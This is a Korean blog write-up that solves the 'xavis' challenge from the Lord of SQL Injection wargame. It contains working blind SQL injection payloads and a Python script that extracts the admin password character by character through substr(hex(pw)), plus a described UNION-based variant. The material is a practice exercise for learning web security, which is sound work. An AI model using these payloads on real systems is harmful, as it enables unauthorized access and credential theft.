일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |
- 웹개발
- blind sql injection
- sql injection point
- csrf
- 보고서
- sql injection
- CTF
- Los
- 보안 패치
- 웹 개발
- 증적 사진
- 과제
- file upload
- Error based sql injection
- 로그인
- 세션
- 웹 해킹
- 모의해킹
- 게시판 만들기
- 로그인페이지
- php
- FridaLab
- lord of sql injection
- union sql injection
- XSS
- Python
- JS
- 문제 풀이
- cookie 탈취
- MySQL
- Today
- Total
Almon Dev
[Lord of SQL Injection] xavis 문제 풀이 본문
xavis 문제 풀이
xavis 문제
문제 분석
문제 목표
GET 메서드의 pw 파라미터 값과 데이터베이스에서 가져온 admin 계정의 비밀번호가 일치할 경우, solve("xavis") 함수가 실행됩니다. 이 함수는 문제를 성공적으로 해결했을 때 호출되는 것으로 보이므로, 이 문제의 목표는 admin 계정의 비밀번호를 탈취하는 것으로 보입니다.
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
입력 제한
pw 파라미터에 regex, like 가 입력되는 경우 exit 함수를 실행해 PHP 코드 실행이 중단됩니다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
취약점 분석
pw 파라미터에서 regex, like만 필터링하기 때문에 substr, hex 등의 SQL 함수를 삽입하여 admin 계정의 비밀번호를 추출할 수 있습니다.
substr => 문자열을 잘라내는 함수입니다.
ex) substr('admin', 1,2) => 'dm'
hex => 문자열, 숫자를 16진수 문자열로 변경하는 함수입니다.
ex) hex('a') => '61'
문제 풀이
1. 참 쿼리를 삽입하여 Hello admin이 출력되는 것을 확인합니다.
=> pw= ' or id='admin' and '1'='1
2. 거짓 쿼리를 삽입하여 참과 거짓의 결과가 다른 것을 확인합니다.
=> pw= ' or id='admin' and '1'='2
3. Blind SQL Injection을 위해 공격 format을 생성합니다.
=> pw= ' or id='admin' and substr(hex(pw), 1, 1) = '0
or id = 'admin' 조건을 포함한 이유는 hex(pw)가 admin 계정의 비밀번호를 가져오도록 하기 위함입니다.
4. length 함수를 이용해 admin 계정의 비밀번호를 16진수로 변환한 결과가 25자리임을 확인합니다.
5. Blind SQL Injection을 위한 Python 코드를 작성합니다.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import codecs
def sqli_request(url, session, index, ascii):
params = f"?pw=' or id = 'admin' and substr(hex(pw), {index}, 1) = '{ascii}"
url += params
response = session.get(url)
# response = session.get(url, proxies=proxies, verify=False)
if "Hello admin" in response.text:
return True
else:
return False
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
proxies = {
"http": "http://localhost:8080",
"https": "http://localhost:8080"
}
session = requests.Session()
session_id = "PHPSESSID"
session.cookies.set("PHPSESSID", session_id)
sql_result = ""
for i in range(24):
value = 0
index = i + 1
while True:
if sqli_request(url, session, index, hex(value)[2:]):
index += 1
sql_result += hex(value)[2:]
print(f"\rpassword: 0x{sql_result}", end="")
break
else:
value += 1
print(f"\npassword: {chr(int(sql_result[:8], 16))} {chr(int(sql_result[8:16], 16))} {chr(int(sql_result[16:24], 16))}")
6. Python 코드를 실행하여 admin 계정의 비밀번호를 추출합니다.
7. 비밀번호를 pw 파라미터로 전송하여 문제 풀이를 완료합니다.
다른 사람의 풀이
문제를 푼 뒤에는 항상 다른 사람들의 풀이를 참고합니다. 이번에 신박한 풀이를 발견해서 실험해 보았습니다.
SQL에서는 사용자 정의 변수를 설정할 수 있다는 점을 이용해, admin 계정의 비밀번호를 SELECT 문으로 조회하여 @p 변수에 저장한 뒤, UNION SELECT @p를 통해 해당 값을 화면에 출력하는 UNION SQL Injection이 가능합니다
'웹 해킹 > Lord of SQLi' 카테고리의 다른 글
[Lord of SQL Injection] irongolem 문제 풀이 (0) | 2025.05.13 |
---|---|
[Lord of SQL Injection] dragon 문제 풀이 (0) | 2025.05.10 |
[Lord of SQL Injection] nightmare 문제 풀이 (0) | 2025.05.03 |
[Lord of SQL Injection] zombie_assassin 문제 풀이 (0) | 2025.05.01 |
[Lord of SQL Injection] succubus 문제 풀이 (0) | 2025.04.30 |